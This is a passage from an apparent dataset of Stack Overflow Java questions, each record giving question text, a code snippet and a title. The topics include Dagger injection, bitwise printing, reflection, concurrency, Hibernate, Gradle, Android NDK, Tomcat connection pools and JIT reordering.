`` firstName '' ) @ Inject void initFirstName ( String firstName ) { } @ Named ( `` lastName '' ) @ Inject void initLastName ( String lastName ) { } @ Module public class UserModule { @ Named ( `` firstName '' ) @ Provides String provideFirstUserName ( ) { return `` Nasser '' ; } @ Named ( `` lastName '' ) @ Provides String provideLastUserName ( ) { return `` Khosravi '' ; } } @ Component ( modules = { UserModule.class } ) public interface MainActivityComponent { void inject ( MainActivity mainActivity ) ; @ Named ( `` firstName '' ) String getFirstName ( ) ; @ Named ( `` lastName '' ) String getLastName ( ) ; } },Qualified Method Injection In Dagger 2 +Java,"This code works just fine , but this oneproduces an exception : Exception in thread `` main '' java.lang.RuntimeException : Uncompilable source code - Erroneous tree type : at pkg1.pkg4.taking.input.TakingInput.main ( TakingInput.java:11 ) Why so ? The question arose when I was trying to print the results of several bitwise operations in one swoop , like so : I looked up the description of the print ( ) method and several topics on bitwise operators and printing to the console on SO including the recommended topics when composing the question , but could n't find an answer .",int a = 6 ; System.out.print ( `` The result is `` + a*a ) ; int a = 6 ; System.out.print ( `` The result is `` + a^a ) ; System.out.print ( a & b + `` \n '' + a|b + `` \n '' + a^b ) ;,Bitwise operation not concatenating with string in print ( ) in Java +Java,"I am trying to get method regardless of what parameters that method takes ( as of now there is no method overloading and there would n't be in future ) . The only possible solution that i could come up with wasWhat i want to ask that is there a way to fetch a method regardless of its parameters ? I was looking at clas.getMethod ( `` methodName '' , parameters ) and if i provide null in there it will try to fetch a method which has no parameters . Which would n't be no case . Any ideas ? EDITThanks guys for input . In my case , i know that there would be only one method regardless of its case . The reason i am using ignoreCase is because the input will be coming from a developer ( in other team ) and he will be providing the name as a hard-coded string . So to keep things from spilling out of our hands , I am using a safe approach .","private Method getMethod ( Class < ? > clas , String methodName ) { try { Method [ ] methods = clas.getMethods ( ) ; for ( Method method : methods ) { if ( method.getName ( ) .equalsIgnoreCase ( methodName ) ) { return method ; } } } catch ( SecurityException e ) { e.printStackTrace ( ) ; } return null ; }",Getting method regardless of parameters +Java,"I have a question regarding to the andriod @ IntDef Annotation . I knowthat in its basic usage , it should replace the enum . But what ifI have a parameterized enum with multiple hardwired values for exampleHow would this be replaced by an Enumerated Annotation in Android ? Is it even suggestive to do something like that in this case ? I searched everywhere , but I have n't found any answer for that . Thank you in advance !","public enum MyEnum { YES ( true , 1 ) , NO ( false , 0 ) ; private boolean boolState ; private boolean intState ; MyEnum ( boolean boolState , int intState ) { this.boolState = boolState ; this.intState = intState ; } public boolean getBoolState ( ) { return boolState ; } public int getIntState ( ) { return intState ; } }",Convert parametized Enum to Enumerated Annotation in android +Java,"I have a stateful bean in an multi-threaded enviroment , which keeps its state in a map . Now I need a way to replace all values of that map in one atomic action.At the moment I use ConcurrentSkipListMap as implementation of a ConcurrentMap , but that is n't a requirement.The only way I see to solve this problem is to make the global state volatile and completely replace the map or use a AtomicReferenceFieldUpdater.Is there a better way ? My updates are quite frequent , once or twice a second , but chance only very few values . Also the whole map will only ever contain fewer than 20 values .","public final class StatefulBean { private final Map < String , String > state = new ConcurrentSkipListMap < > ( ) ; public StatefulBean ( ) { //Initial state this.state.put ( `` a '' , `` a1 '' ) ; this.state.put ( `` b '' , `` b1 '' ) ; this.state.put ( `` c '' , `` c1 '' ) ; } public void updateState ( ) { //Fake computation of new state final Map < String , String > newState = new HashMap < > ( ) ; newState.put ( `` b '' , `` b1 '' ) ; newState.put ( `` c '' , `` c2 '' ) ; newState.put ( `` d '' , `` d1 '' ) ; atomicallyUpdateState ( newState ) ; /*Expected result * a : removed * b : unchanged * C : replaced * d : added*/ } private void atomicallyUpdateState ( final Map < String , String > newState ) { // ? ? ? } }",Java : How to atomically replace all values in a Map ? +Java,"If I were to create my own data type in Java , I was wondering how I 'd do it to make it `` enhanced for loop compatible '' if possible.For example : Now , if I wanted to do a enhanced for loop with my own data type , how would I do it ? Is there a way to make my data type be recognized as an array so I could just pop it into a for loop as so ? Do I extend some class ? I 'd rather not extend a premade class such as ArrayList or List , but maybe there 's some other class like Comparable < T > Thank you .",System.out.println ( object ) ; //This implicitly calls the object 's toString ( ) method MyList < String > list = new MyList < > ( ) ; for ( String s : list ) System.out.println ( s ) ;,Creating my own enhanced for loop +Java,"This is a training exercise for understanding the workings of inner classes in Java . As the question states , how many different versions of x are accessible in ( * ) ? I 'm inclined to think that there are 3 , namely : this.x , super.x and x but some of my peers seem to think that there are 4.Which of us is confused ? And can you explain ?",class Outer { int x ; class Inner extends Outer { int x ; void f ( int x ) { ( * ) } } },How many different versions of ' x ' are accessible in ( * ) ? +Java,"I have a class as following that need to retrieve from DB using Hibernate.The problem is my class has multiple members and majority of them are classes , how can I retrieve them ? I need to retrieve student id 1 and all its courses , its dealer and list of dealers ' cars.My projection is as following but it does not return anything .","@ Entitypublic class Student { @ Id long id ; String name ; String fname ; @ OneToMany List < Course > courses ; @ ManyToOne Dealer dealer ; ... } @ Entitypublic class Dealer { @ Id long id ; String name ; @ OneToMany ( fetch = FetchType.LAZY , mappedBy = `` cr.dealer '' , cascade = CascadeType.ALL ) Set < Car > cars = new HashSet < Cars > ( 0 ) ; .. } ... .setProjection ( Projections.projectionList ( ) .add ( Projections.property ( `` friends.cars '' ) .as ( `` cars '' ) ...",How to retrieve a complex class and its members using Hibernate Projection ? +Java,"since Java 8 it is allowed to predefine methods in interfaces . Some of these standard implementations are already implemented on the `` standard '' interfaces such as CharSequence . If you try to read Java 8 ByteCode ( e.g . the rt.jar of the Java home folder ) with a JVM 7 , an error occurs . e.g . the type java.lang.CharSequence can not be resolved.This may not be the only difference between levels , but I would like to understand the structure of the new byte code.This Bbytecode was produced by this Javacode : So here is my question : How does an default interface impact on the constant pool ? Is any of these flags relevant : CONSTANT_MethodHandle CONSTANT_MethodType CONSTANT_InvokeDynamic",public interface com.company.ITest { public void HelloWorld ( ) ; Code : 0 : getstatic # 1 // Field java/lang/System.out : Ljava/io/PrintStream ; 3 : ldc # 2 // String hello world 5 : invokevirtual # 3 // Method java/io/PrintStream.println : ( Ljava/lang/String ; ) V 8 : return } public interface ITest { default void HelloWorld ( ) { System.out.println ( `` hello world '' ) ; } },Java 8 bytecode how are default methods in interfaces marked +Java,"I 'm attempting to create a build file for a Kotlin project that will sometimes include java sources . In the past with the Groovy based build files in a multi-project build , I could specify the sourceCompatibility in the subproject block with no issue . With the Kotlin DSL I know it must be in the java block to configure with the Kotlin DSL , but when I attempt to do that from the subproject block in my root build.gradle.kts file I get a compilation error : I 've included a gist to the gradle build file I 'm using . Now I can get it working if I specify the java block in one of the subprojects build.gradle.kts files , but I want the setting applied to all of the subprojects , not just specific projects .",Script compilation errors : Line 14 : java { ^ Expression 'java ' can not be invoked as a function . The function 'invoke ( ) ' is not foundLine 14 : java { ^ Unresolved reference . None of the following candidates is applicable because of receiver type mismatch : public val PluginDependenciesSpec.java : PluginDependencySpec defined in org.gradle.kotlin.dslLine 15 : sourceCompatibility = JavaVersion.VERSION_1_8 ^ Unresolved reference : sourceCompatibility3 errors,Gradle Compilation Error with Kotlin DSL configuring Java Spec +Java,I want to integrate NDK into Android studio but i am facing NDK support is an experimental feature and use cases are not yet supported error.I have downloaded NDK using the SDK manager and the NDK is palcedC : \Users\The\AppData\Local\Android\Sdk\ndk-bundle . I have also created NativePanorama java class for Java and C++ interaction . Here is the code for the NativePanorama.java class I used the javah command in the terminal to create the corresponding C++ header for the processPanorama method in the NativePanorama java class . Here is the created com_example_the_myapplication_NativePanorama.h c++ header file.Here is also the com_example_the_myapplication_NativePanorama.cpp c++ source file . May be the error is in the build.gradle file here is my build.gradle ( app ) fileThere is also Reports native method declaration in java where no corresponding jni function is found in the project error in the NativePanorama.java class.How can i fix those problem ?,"public class NativePanorama { public native static void processPanorama ( long [ ] imageAddressArray , long outputAddress ) ; { } } /* DO NOT EDIT THIS FILE - it is machine generated */ # include < jni.h > /* Header for class com_example_the_myapplication_NativePanorama */ # ifndef _Included_com_example_the_myapplication_NativePanorama # define _Included_com_example_the_myapplication_NativePanorama # ifdef __cplusplus extern `` C '' { # endif /* * Class : com_example_the_myapplication_NativePanorama * Method : processPanorama * Signature : ( [ JJ ) V */ JNIEXPORT void JNICALL Java_com_example_the_myapplication_NativePanorama_processPanorama ( JNIEnv * , jclass , jlongArray , jlong ) ; # ifdef __cplusplus } # endif # endif # include `` com_example_panorama_NativePanorama.h '' JNIEXPORT void JNICALLJava_com_example_panorama_NativePanorama_processPanorama ( JNIEnv * env , jclass clazz , jlongArray imageAddressArray , jlongoutputAddress ) { } import org.apache.tools.ant.taskdefs.condition.Osapply plugin : 'com.android.application'android { compileSdkVersion 23 buildToolsVersion `` 23.0.3 '' defaultConfig { applicationId `` com.example.the.myapplication '' minSdkVersion 19 targetSdkVersion 23 versionCode 1 versionName `` 1.0 '' } // begin NDK OPENCV sourceSets.main { jni.srcDirs = [ ] //disable automatic ndk-build call } task ndkBuild ( type : Exec , description : 'Compile JNI source via NDK ' ) { def rootDir = project.rootDir def localProperties = new File ( rootDir , `` local.properties '' ) Properties properties = new Properties ( ) localProperties.withInputStream { instr - > properties.load ( instr ) } def ndkDir = properties.getProperty ( 'ndk.dir ' ) if ( Os.isFamily ( Os.FAMILY_WINDOWS ) ) { commandLine `` $ ndkDir\\ndk-build.cmd '' , 'NDK_PROJECT_PATH=build/intermediates/ndk ' , 'NDK_LIBS_OUT=src/main/jniLibs ' , 'APP_BUILD_SCRIPT=src/main/jni/Android.mk ' , 'NDK_APPLICATION_MK=src/main/jni/Application.mk ' } else { commandLine `` $ ndkDir/ndk-build '' , 'NDK_PROJECT_PATH=build/intermediates/ndk ' , 'NDK_LIBS_OUT=src/main/jniLibs ' , 'APP_BUILD_SCRIPT=src/main/jni/Android.mk ' , 'NDK_APPLICATION_MK=src/main/jni/Application.mk ' } } tasks.withType ( JavaCompile ) { compileTask - > compileTask.dependsOn ndkBuild } buildTypes { release { minifyEnabled false proguardFiles getDefaultProguardFile ( 'proguard-android.txt ' ) , 'proguard-rules.pro ' } } } dependencies { compile fileTree ( dir : 'libs ' , include : [ '*.jar ' ] ) testCompile 'junit : junit:4.12 ' compile 'com.android.support : appcompat-v7:23.4.0 ' compile project ( `` : opencv-java '' ) }",NDK support is an experimental features and all use cases are not yet supported error in Android Studio ? +Java,"I know that I ca n't throw or catch instances of generic class in Java , for example , the following code compiles wrongly : Would anyone can explain the exactly reason for Java to forbidden throw or catch instances of generic class ?",public static < T extends Throwable > void test ( Class < T > t ) { try { //do work } catch ( T e ) { // ERROR -- ca n't catch type variable Logger.global.info ( ... ) } },Why ca n't I Throw or Catch Instances of a Generic Class in java ? +Java,For the following code : I get the following outputs : Why do they differ ?,import java.text.SimpleDateFormat ; import java.util.Date ; public class TestMain { public static void main ( String [ ] args ) { SimpleDateFormat sdf = new SimpleDateFormat ( `` dd-MM-yyyy '' ) ; System.out.println ( sdf.format ( new Date ( 1386633600000L ) ) ) ; System.out.println ( sdf.format ( new Date ( 1386633600 * 1000 ) ) ) ; } } 10-12-201324-12-1969,Java Date from millis - long vs int +Java,"When i run the following example i get the output 0,2,1I do n't understand why the output is 0,2,1 and not 0,2,2","class ZiggyTest2 { static int f1 ( int i ) { System.out.print ( i + `` , '' ) ; return 0 ; } public static void main ( String [ ] args ) { int i = 0 ; int j = 0 ; j = i++ ; //After this statement j=0 i=1 j = j + f1 ( j ) ; //After this statement j=0 i=1 i = i++ + f1 ( i ) ; //i++ means i is now 2 . The call f1 ( 2 ) prints 2 but returns 0 so i=2 and j=0 System.out.println ( i ) ; //prints 2 ? } }",Post and Pre increment operators +Java,I have a bash script thats only task is to execute a jar file.sms.shUsing my Synology NAS I set up a task.Adding the command to execute bash script . Adding log output.Executing my new Task.Checking the log to see the following error : /volume1/homes/jar/sms.sh : line 1 : java : command not foundChecking Java version/installation : Checking execution of sh script manually ( working ) : Anyone with this same strange case ? Any workarounds/ideas ? I triedRebooting my NASUninstall / install Java8 packagebut none worked .,java -jar /volume1/homes/jar/smssender.jar,Synology Scheduler .sh java command not found +Java,"I have a String constant defined in a class : And I want to compare , if another String is equal : This test strangely fails and when I inspect the variables with eclipse , I see that ABC is 2 characters longer than test , and that it looks like this : Where do those quotes come from and how do I get rid of them ?",public static final String ABC = `` abc '' ; String test = `` abc '' ; if ( test.equals ( OtherClass.ABC ) ) { doSomething ( ) ; } ABC : `` abc '' test : abc,Strange quote characters around static java String ( on android ? ) +Java,Consider below codeOutput of the program is I understand the first two but ca n't get my head around the last one . How does b.foo ( ) print 5 . B class will inherit the foo method . But should n't it print what b.x would print ? What exactly is happening here ?,class A { int x = 5 ; void foo ( ) { System.out.println ( this.x ) ; } } class B extends A { int x = 6 ; // some extra stuff } class C { public static void main ( String args [ ] ) { B b = new B ( ) ; System.out.println ( b.x ) ; System.out.println ( ( ( A ) b ) .x ) ; b.foo ( ) ; } } 655,Explain how variable hiding is working in this Java code +Java,"The question boils down to this code : Does Java standard give any guarantees about values of case1 and case2 ? Link to relevant part of Java spec would be nice , of course.Yes , I looked at all the `` Similar Questions '' found by SO , and found no duplicates , as none I found answered the question this way . And no , this is not about the misguided idea of `` optimizing '' string comparisons by replacing equals with == .",// setupString str1 = `` some string '' ; String str2 = new String ( str1 ) ; assert str1.equals ( str2 ) ; assert str1 ! = str2 ; String str3 = str2.intern ( ) ; // question casesboolean case1 = str1 == `` some string '' ; boolean case2 = str1 == str3 ;,"Java string interning , what is guaranteed ?" +Java,"When I disassemble an enum with javap , the enum 's implicit constructor arguments seem to be missing , and I ca n't figure out why.Here 's an enum : I compile and disassemble this ( on Java 8u60 ) with this command : And here is the output I get : My confusion is with the private constructor used to instantiate each enum constant . The disassembly shows that it takes no arguments ( private Foo ( ) ; ) , but it surely does take arguments . For example , you can see the load instructions reading the passed enum constant name and ordinal , as well as the this pointer , and passing them on to the superclass constructor , which requires them . The code in the static initializer block also shows that it pushes those arguments onto the stack before calling the constructor.Now I would have assumed this was just an obscure bug in javap , but when I compile exactly the same enum with Eclipse 's compiler and disassemble that using javap , the constructor is exactly the same except the arguments are shown : My question is : what physically is different between a javac-compiled enum and an Eclipse-compiled enum that causes javap to not show the constructor arguments for the javac-compiled enum ? And is this difference a bug ( in javap , in javac , or Eclipse ) ?","enum Foo { X } javac Foo.java & & javap -c -p Foo final class Foo extends java.lang.Enum < Foo > { public static final Foo X ; private static final Foo [ ] $ VALUES ; public static Foo [ ] values ( ) ; Code : 0 : getstatic # 1 // Field $ VALUES : [ LFoo ; 3 : invokevirtual # 2 // Method `` [ LFoo ; '' .clone : ( ) Ljava/lang/Object ; 6 : checkcast # 3 // class `` [ LFoo ; '' 9 : areturn public static Foo valueOf ( java.lang.String ) ; Code : 0 : ldc # 4 // class Foo 2 : aload_0 3 : invokestatic # 5 // Method java/lang/Enum.valueOf : ( Ljava/lang/Class ; Ljava/lang/String ; ) Ljava/lang/Enum ; 6 : checkcast # 4 // class Foo 9 : areturn private Foo ( ) ; // < -- - here Code : 0 : aload_0 1 : aload_1 2 : iload_2 3 : invokespecial # 6 // Method java/lang/Enum . `` < init > '' : ( Ljava/lang/String ; I ) V 6 : return static { } ; Code : 0 : new # 4 // class Foo 3 : dup 4 : ldc # 7 // String X 6 : iconst_0 7 : invokespecial # 8 // Method `` < init > '' : ( Ljava/lang/String ; I ) V 10 : putstatic # 9 // Field X : LFoo ; 13 : iconst_1 14 : anewarray # 4 // class Foo 17 : dup 18 : iconst_0 19 : getstatic # 9 // Field X : LFoo ; 22 : aastore 23 : putstatic # 1 // Field $ VALUES : [ LFoo ; 26 : return } final class Foo extends java.lang.Enum < Foo > { public static final Foo X ; private static final Foo [ ] ENUM $ VALUES ; static { } ; Code : 0 : new # 1 // class Foo 3 : dup 4 : ldc # 12 // String X 6 : iconst_0 7 : invokespecial # 13 // Method `` < init > '' : ( Ljava/lang/String ; I ) V 10 : putstatic # 17 // Field X : LFoo ; 13 : iconst_1 14 : anewarray # 1 // class Foo 17 : dup 18 : iconst_0 19 : getstatic # 17 // Field X : LFoo ; 22 : aastore 23 : putstatic # 19 // Field ENUM $ VALUES : [ LFoo ; 26 : return private Foo ( java.lang.String , int ) ; // < -- - here Code : 0 : aload_0 1 : aload_1 2 : iload_2 3 : invokespecial # 23 // Method java/lang/Enum . `` < init > '' : ( Ljava/lang/String ; I ) V 6 : return public static Foo [ ] values ( ) ; Code : 0 : getstatic # 19 // Field ENUM $ VALUES : [ LFoo ; 3 : dup 4 : astore_0 5 : iconst_0 6 : aload_0 7 : arraylength 8 : dup 9 : istore_1 10 : anewarray # 1 // class Foo 13 : dup 14 : astore_2 15 : iconst_0 16 : iload_1 17 : invokestatic # 27 // Method java/lang/System.arraycopy : ( Ljava/lang/Object ; ILjava/lang/Object ; II ) V 20 : aload_2 21 : areturn public static Foo valueOf ( java.lang.String ) ; Code : 0 : ldc # 1 // class Foo 2 : aload_0 3 : invokestatic # 35 // Method java/lang/Enum.valueOf : ( Ljava/lang/Class ; Ljava/lang/String ; ) Ljava/lang/Enum ; 6 : checkcast # 1 // class Foo 9 : areturn }",Enum disassembled with javap does n't show constructor arguments +Java,"The below has this output.I would expect it to just display one line , that of the child class ( ConstructedDerivedClass ) . But instead it print 's out twice.I know in general you should avoid calling overriden methods from a constructor , but I wanted to see for myself how was this working . Actually , I get why version is ' 6.0 ' on both lines - since field is being declared static of course static fields are initialized first . But still do n't get why two lines.Any guidance would be appreciated .",Hello World ! main.ConstructedDerivedClass:6.0main.ConstructedDerivedClass:6.0 public class ConstructedDerivedClass extends ConstructedBase { private static final double version = 6.0 ; public static void main ( String [ ] args ) { System.out.println ( `` Hello World ! `` ) ; ConstructedDerivedClass derivedClass = new ConstructedDerivedClass ( ) ; } public ConstructedDerivedClass ( ) { showMyAttributes ( ) ; } @ Override protected void showMyAttributes ( ) { System.out.println ( this.getClass ( ) .getName ( ) + `` : '' + version ) ; } } public class ConstructedBase { private static final double version = 15.0 ; public ConstructedBase ( ) { showMyAttributes ( ) ; } protected void showMyAttributes ( ) { System.out.println ( this.getClass ( ) .getName ( ) + `` : '' + version ) ; } },Java - Why is overriden method being called twice ( or at least that 's what it seems ) ? +Java,"Is volatile redundant in this code ? In other words , does map = new ConcurrentHashMap < > ( ) ; provide any visibility guarantees ? As far as I can see , the only guarantee provided by ConcurrentMap is : Actions in a thread prior to placing an object into a ConcurrentMap as a key or value happen-before actions subsequent to the access or removal of that object from the ConcurrentMap in another thread.How about other thread safe collections in java.util.concurrent ( CopyOnWriteArrayList , etc . ) ?","public class Test { private volatile Map < String , String > map = null ; public void resetMap ( ) { map = new ConcurrentHashMap < > ( ) ; } public Map < String , String > getMap ( ) { return map ; } }",Safe publication of java.util.concurrent collections +Java,I am developping a web app with JCS 1.3 caching.I need to edit the DiskPath of the Indexed Disk Auxiliary Cache at runtime from a JVM property.Do you know a way to do this ? I managed to create the AuxiliaryCache object but I do n't know how to connect it with all my regions defined in cache.ccf.Here is the code creating the disk cache : To get a region I use the following : An idea please ?,IndexedDiskCacheAttributes indexedCacheAttr = new IndexedDiskCacheAttributes ( ) ; indexedCacheAttr.setMaxKeySize ( 10000 ) ; indexedCacheAttr.setMaxRecycleBinSize ( 10000 ) ; indexedCacheAttr.setMaxPurgatorySize ( 10000 ) ; indexedCacheAttr.setOptimizeAtRemoveCount ( 5000 ) ; String cacheDir = System.getProperty ( `` xxxxx '' ) ; if ( cacheDir == null || cacheDir.trim ( ) .length ( ) == 0 ) { log.error ( `` error : JCSManager xxxx . `` ) ; } else { indexedCacheAttr.setDiskPath ( cacheDir ) ; } IndexedDiskCacheManager indexedCacheManager = IndexedDiskCacheManager.getInstance ( indexedCacheAttr ) ; // instance du cache disque AuxiliaryCache auxCache = indexedCacheManager.getCache ( region ) ; JCS cache = JCS.getInstance ( region ) ;,JCS edit Disk Auxiliary Cache DiskPath +Java,"Stream is an interface so whenever one gets hold of a Stream object there are lots of implementation specific details hidden.For example , take the following code : Does it run in constant or linear time ? Or this : Would that be O ( n ) or O ( n log n ) ? In general , how specialized are the streams implementations returned by the standard collections ?",List < String > list = new ArrayList < > ( ) ; ... int size = list.stream ( ) .count ( ) ; Set < String > set = new TreeSet < > ( ) ; ... set.stream ( ) .sorted ( ) .forEach ( System.out : :println ) ;,How specialized are the Stream implementations returned by the standard collections ? +Java,"I 've been learning about connection pools , and I have gotten one working by using Tomcat 's PoolProperties . Now I would like to set one up using a context.xml file with Tomcat and IntelliJ , but I ca n't get this to work . How is this done ? A new project with a 4.0 Web Application framework can automatically create a web/WEB-INF directory with a web.xml file , but the web/META-INF directory containing a context.xml file is not created . If I do create web/META-INF/context.xml myself through the Tool Window > Project , and I use this to set up a connection pool as shown below , the file seems to be ignored.This is my guess as to what might be happening , though I 'm sure this is filled with errors : A WAR file is a packaged directory that is sent to Tomcat in an arrangement that Tomcat understands . web/WEB-INF/web.xml is a required file that is needed for a variety of reasons , one of which is to set up servlets . web/META-INF/context.xml is optional , and thus by default , IntelliJ does not create it . When a web/META-INF/context.xml is created manually , it must also be included into the WAR file otherwise IntelliJ will not send it to Tomcat.Even if the previous paragraph is true though , I still have not gotten Tomcat to use context.xml after trying to add it to the WAR . Maybe I did n't add it correctly.context.xmlindex.jsp","< ? xml version= '' 1.0 '' encoding= '' UTF-8 '' ? > < Context > < Resource name= '' jdbc/sql_connection_03 '' auth= '' Container '' driverClassName= '' com.mysql.jdbc.Driver '' url= '' jdbc : mysql : //localhost:3306/follow_db_01 '' username= '' root '' password= '' pass '' maxactive= '' 100 '' maxIdle= '' 30 '' maxWait= '' 10000 '' logAbandoned= '' true '' removeAbandoned= '' true '' removeAbandonedTimeout= '' 60 '' type= '' java.sql.DataSource '' / > < /Context > < % @ taglib prefix= '' c '' uri= '' http : //java.sun.com/jsp/jstl/core '' % > < % @ taglib prefix= '' sql '' uri= '' http : //java.sun.com/jsp/jstl/sql '' % > < % @ page contentType= '' text/html ; charset=UTF-8 '' language= '' java '' % > < sql : query var= '' rs '' dataSource= '' jdbc/sql_connection_03 '' > select ID , Description , PackageSize from products ; < /sql : query > < html > < head > < title > Index < /title > < /head > < body > < c : forEach var= '' row '' items= '' $ { rs.rows } '' > $ { row.ID } < br > $ { row.Description } < br > $ { row.PackageSize } < br > < /c : forEach > < /body > < /html >",How to get a context.xml working with Tomcat and IntelliJ IDEA +Java,"The class StringBuilder defines four constructors , and none of them accepts a StringBuilder , yet the following compiles : Does this mean that the anonymous StringBuilder object gets somehow converted to a String internally by the compiler ?",StringBuilder sb = new StringBuilder ( new StringBuilder ( `` Hello '' ) ) ;,StringBuilder constructor accepts a StringBuilder object - why ? +Java,"I 've been working arround a GUI in Vaadin , with some given classes from my IT chief . It 's all great and that , but , today , I have encountered that I can not use a lambda expression in a addListener method type . This method is custom , as the object that uses it . Here is the implementation : To use this extension you must do this : If I use a lambda in addResetButtonClickedListener like this : The compiler says that Lambda expression 's signature does not match the signature of the functional interface method resetButtonClicked ( ) The method addResetButtonClickedListener ( ResetButtonClickListener ) in the type ResetButtonForTextField is not applicable for the arguments ( ( ev ) - > { } ) Even if I define lambda expression like this : ( ResetButtonClickListener ev ) - > { } still gives an error.So question is , Why ca n't I use a lambda expression there ? I 'm missing something in the declaration of the code ?",public class ResetButtonForTextField extends AbstractExtension { private final List < ResetButtonClickListener > listeners = new ArrayList < ResetButtonClickListener > ( ) ; private void addResetButtonClickedListener ( ResetButtonClickListener listener ) { listeners.add ( listener ) ; } //Some other methods and the call of the listeners } public interface ResetButtonClickListener extends Serializable { public void resetButtonClicked ( ) ; } ResetButtonForTextField rb=ResetButtonForTextField.extend ( button ) ; rb.addResetButtonClickedListener ( new ResetButtonClickListener ( ) { @ Override public void resetButtonClicked ( ) { //Do some stuff here } } ) ; rb.addResetButtonClickedListener ( ev - > { //Do some magic here },Why is lambda function not allowed here ? +Java,"I 'm fairly new to the concept of immutable classes.Consider this class : I 'm trying to understand how this class could be changed to an immutable one.In particular , I do n't see how the boolean field isConnected could be made final , since it represents the connection state.All clients of ConnectionMonitor should just query isConnected ( ) to get the connection state.I 'm aware that locking changes to isConnected is possible or using an atomic boolean.But I do n't see how to rewrite this to an immutable class .",public class ConnectionMonitor implements MessageConsumer { private final MonitorObject monitorObject ; private boolean isConnected = true ; private final static Logger logger = LogManager.getLogger ( ConnectionMonitor.class ) ; public ConnectionMonitor ( final MonitorObject monitorObject ) { this.monitorObject = monitorObject ; } public boolean isConnected ( ) { return isConnected ; } public void waitForReconnect ( ) { logger.info ( `` Waiting for connection to be reestablished ... '' ) ; synchronized ( monitorObject ) { enterWaitLoop ( ) ; } } private void enterWaitLoop ( ) { while ( ! isConnected ( ) ) { try { monitorObject.wait ( ) ; } catch ( final InterruptedException e ) { logger.error ( `` Exception occured while waiting for reconnect ! Message : `` + e.getMessage ( ) ) ; } } } private void notifyOnConnect ( ) { synchronized ( monitorObject ) { monitorObject.notifyAll ( ) ; } } @ Override public void onMessage ( final IMessage message ) { if ( message.getType ( ) == IMessage.Type.CONNECTION_STATUS ) { final String content = message.getContent ( ) ; logger.info ( `` CONNECTION_STATUS message received . Content : `` + content ) ; processConnectionMessageContent ( content ) ; } } private void processConnectionMessageContent ( final String messageContent ) { if ( messageContent.contains ( `` Disconnected '' ) ) { logger.warn ( `` Disconnected message received ! `` ) ; isConnected = false ; } else if ( messageContent.contains ( `` Connected '' ) ) { logger.info ( `` Connected message received . `` ) ; isConnected = true ; notifyOnConnect ( ) ; } } },Immutability vs state change in a class +Java,"How would the following code behave , especially when the double counter reaches its limit ( ( 2-2^-52 ) ·2^1023 ) ? Would this code behave as expected ( loop forever ) or fail at some point and why ? Thanks .",for ( double i = 0 ; i < Double.POSITIVE_INFINITY ; i++ ) { //do something },Using Double.POSITIVE_INFINITY in for loop ( Java ) +Java,"I know that calling overridable methods from constructors is a bad idea . But I also see that it 's being done everywhere with Swing , where code like add ( new JLabel ( `` Something '' ) ) ; occurs in constructors all the time.Take NetBeans IDE , for example . It is very picky about overridable calls in constructors . And yet , when it generates Swing code , it puts all those add ( ) method calls into an initializeComponents ( ) method ... which is then called from the constructor ! A nice way to hide a problem and disable the warning ( NetBeans does n't have a “ a private method that calls overridable methods is called from a constructor ” warning ) . But not really a way to solve the problem.What 's going on here ? I 've been doing it for ages , but always had an uneasy feeling about this . Is there a better way of initializing Swing containers , except for making an additional init ( ) method ( and not forgetting to call it every time , which is kind of boring ) ? ExampleHere is an extremely contrived example of how things can go wrong :","public class MyBasePanel extends JPanel { public MyBasePanel ( ) { initializeComponents ( ) ; } private void initializeComponents ( ) { // layout setup omitted // overridable call add ( new JLabel ( `` My label '' ) , BorderLayout.CENTER ) ; } } public class MyDerivedPanel extends MyBasePanel { private final List < JLabel > addedLabels = new ArrayList < > ( ) ; @ Override public void add ( Component comp , Object constraints ) { super.add ( comp ) ; if ( comp instanceof JLabel ) { JLabel label = ( JLabel ) comp ; addedLabels.add ( label ) ; // NPE here } } }",Calling overridable methods like Swing 's add ( ) in constructor +Java,"As we know , some JIT allows reordering for object initialization , for example , can be decomposed into below steps : JIT compiler may reorder it as below : namely , step2 and step3 can be reordered by JIT compiler.Even though this is theoretically valid reordering , I was unable to reproduce it with Hotspot ( jdk1.7 ) under x86 platform.So , Is there any instruction reordering done by the Hotspot JIT comipler that can be reproduced ? Update : I did the test on my machine ( Linux x86_64 , JDK 1.8.0_40 , i5-3210M ) using below command : and I can see the tool reported something like : [ 1 ] 5 ACCEPTABLE The object is published , at least 1 field is visible.That meant an observer thread saw an uninitialized instance of MyObject . However , I did NOT see assembly code generated like @ Ivan 's : There seems to be no compiler reordering here . Update2 : @ Ivan corrected me . I used wrong JIT command to capture the assembly code.After fixing this error , I can grap below assembly code : Apparently , the compiler did the reordering which caused an unsafe publication .","someRef = new SomeObject ( ) ; objRef = allocate space for SomeObject ; //step1call constructor of SomeObject ; //step2someRef = objRef ; //step3 objRef = allocate space for SomeObject ; //step1someRef = objRef ; //step3call constructor of SomeObject ; //step2 java -XX : -UseCompressedOops -XX : +UnlockDiagnosticVMOptions -XX : CompileCommand= '' print org.openjdk.jcstress.tests.unsafe.UnsafePublication : :publish '' -XX : CompileCommand= '' inline , org.openjdk.jcstress.tests.unsafe.UnsafePublication : :publish '' -XX : PrintAssemblyOptions=intel -jar tests-custom/target/jcstress.jar -f -1 -t .*UnsafePublication . * -v > log.txt 0x00007f71d4a15e34 : mov r11d , DWORD PTR [ rbp+0x10 ] ; getfield x 0x00007f71d4a15e38 : mov DWORD PTR [ rax+0x10 ] , r11d ; putfield x00 0x00007f71d4a15e3c : mov DWORD PTR [ rax+0x14 ] , r11d ; putfield x01 0x00007f71d4a15e40 : mov DWORD PTR [ rax+0x18 ] , r11d ; putfield x02 0x00007f71d4a15e44 : mov DWORD PTR [ rax+0x1c ] , r11d ; putfield x03 0x00007f71d4a15e48 : mov QWORD PTR [ rbp+0x18 ] , rax ; putfield o 0x00007f76012b18d5 : mov DWORD PTR [ rax+0x10 ] , ebp ; *putfield x000x00007f76012b18d8 : mov QWORD PTR [ r8+0x18 ] , rax ; *putfield o ; - org.openjdk.jcstress.tests.unsafe.generated.UnsafePublication_jcstress $ Runner_publish : :call @ 94 ( line 156 ) 0x00007f76012b18dc : mov DWORD PTR [ rax+0x1c ] , ebp ; *putfield x03",Is there any instruction reordering done by the Hotspot JIT compiler that can be reproduced ? +Java,"I am trying to implement my own LRU cache . Yes , I know that Java provides a LinkedHashMap for this purpose , but I am trying to implement it using basic data structures.From reading about this topic , I understand that I need a HashMap for O ( 1 ) lookup of a key and a linked list for management of the `` least recently used '' eviction policy . I found these references that all use a standard library hashmap but implement their own linked list : '' What data structures are commonly used for LRU caches and quicklylocating objects ? '' ( stackoverflow.com ) `` What is the best way to Implement a LRU Cache ? '' ( quora.com ) `` Implement a LRU Cache 